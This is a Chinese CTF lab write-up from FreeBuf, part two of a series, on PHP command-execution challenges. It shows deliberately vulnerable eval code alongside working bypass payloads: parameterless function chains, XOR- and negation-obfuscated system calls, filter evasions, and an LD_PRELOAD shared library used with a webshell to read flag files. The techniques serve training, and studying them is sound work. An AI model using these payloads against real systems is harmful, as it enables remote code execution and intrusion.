freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PHP命令执行靶场通关记录-2
2023-05-02 18:00:06
所属地 北京

1 靶场WP

0x10 无参命令执行

无参执行:过滤function(args)格式的参数,只能使用function()完成命令执行

绕过方式

  1. 请求头传参,利用getallheaders()函数获取请求头,在请求头中传递参数,拆分需要的参数

  2. 全局变量传参,利用get_defined_vars()函数获取变量值,传递参数

例题代码

<?php
    error_reporting(0);
    highlight_file(__FILE__);
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
        eval($_GET['code']);
    }
?>

审计代码,发现正则表达式中过滤类似function(function(args))之类的传参(可多层嵌套),基于此,使用全局变量传参绕过

利用思路

  1. print_r(get_defined_vars())打印出当前全局变量,由于正则表达式中会判断是否为无参函数的格式,且只能为无参函数,因此不能使用echo 字串的形式输出,可以看到以数组形式输出
    image.png

  2. pos()函数获取数组第一个元素(涉及传参),print_r(pos(get_defined_vars()));
    image.png

  3. 此时如果能够增加传参a(因为只判断code的内容),可以传递想要的命令执行代码,code=print_r(pos(get_defined_vars()));&a=system('cat flag');
    image.png

  4. 由于传递的参数在末尾,使用end函数获取要执行的命令,code=print_r(end(pos(get_defined_vars())));&a=system('cat flag');
    image.png

  5. 最终去除print_r,执行该命令,payload为code=eval(end(pos(get_defined_vars())));&a=system('cat flag');,成功读取flag
    image.png

此外,还可以使用请求头绕过

  1. print_r(getallheaders());作为code传递,观察输出
    image.png

  2. 尝试增加请求头传递,观察输出,可以看到成功增加
    image.png
    image.png

  3. 和之前一样,只要能够获取cmd即可,最终payload为code=eval(pos(getallheaders()));
    image.png

0x11 无字母数字命令执行

命令执行过滤字母数字,导致直接使用常规函数进行命令执行,因此需要先对payload进行处理

常见处理方式

  1. 异或处理,构造payload后,基于payload选择非字母数字的其他可见字符绕过

  2. 取反处理,对payload进行url编码,传递参数时传取反后的内容,不会被识别为可见字符

  3. 自增处理,基于某一个字符,经过自增后确定命令使用的其他字符

1 仅过滤字母数字

例题代码

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    if(!preg_match('/[a-z0-9]/is',$_GET['cmd'])) {
        eval($_GET['cmd']);
    }
?>

审计代码,发现过滤字母数字,考虑采用上述方式首先对payload进行处理

异或处理脚本见靶场,脚本原理为遍历判断符合条件的非字母数字字符,payload为system('ls'),异或后变为$_='("((%-'^'[[[@@';$__='[,(['^'|@[|';$_($__);,成功执行
image.png
同理,也可以采用取反处理,payload为system('ls');,取反后(url编码)为$_=~('%8c%86%8c%8b%9a%92');$__=~('%93%8c');$_($__);
image.png
自增难点在于确定自增次数,有一个小技巧,可以先定义一个array,由于不包含字符数字,可以绕过,再取第一个字符A,基于该字符自增即可,payload过长,此处不放上来,靶场中脚本原理与这个差不多,可以自行构造

2 特殊字符过滤

过滤下划线
闭合原本的php代码,之后执行后面的代码,利用短标签的方式,payload为?>,其中%a0%b8%ba%ab为对_GET的取反操作,后续传参时使用%a0,由于不对该参数校验,因此可以绕过

过滤下划线和$
可以不定义定义变量$_,直接使用(~'字符串')(~'字符串')即可

过滤;~^`&|
只能采用自增的方式,分号使用短标签替换

由于payload构造复杂,在此没有复现成功(QAQ!!!),感兴趣的大佬可以按照这个思路复现

0x补充 LD_PRELOAD绕过函数禁用

LD_PRELOAD:指定该全局变量后,在程序加载动态链接库时,会优先加载该变量中指定的库

核心在于需要能够触发库加载的函数,一般为包含fork的函数

常用函数

  1. mail,php自带,可触发加载库

  2. imagemagick,需要手动安装扩展

  3. error_log

利用条件

  1. 能够上传so文件,putenv未disable

  2. 触发load过程的函数未disable

例题
image.png
查看phpinfo,发现大部分函数均被禁用

image.png
审计代码发现存在webshell,蚁剑连接,成功后可上传文件,由于设置openbase_dir,因此无法访问根目录下的flag,但可以访问/tmp

编译动态链接库,注意和linux提供的api返回值和参数一致

#include <stdio.h>
#include <stdlib.h>

int getuid(){
    unsetenv("LD_PRELOAD");
    system("cat /flag>/tmp/flag");
}

上传.so,以及修改LD_PRELOAD和调用mail函数的php脚本
image.png

访问php,触发其中代码的执行,查看/tmp下生成的flag文件
image.png

2 总结

php代码执行的难点在于无字母数字以及特殊字符的过滤,需要清楚payload中的变量对应的值,确保构造时不会出现问题

靶场部分exp已上传至github https://github.com/p0l42/phpcmd_utils.git

# 远程代码执行 # web安全 # php # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录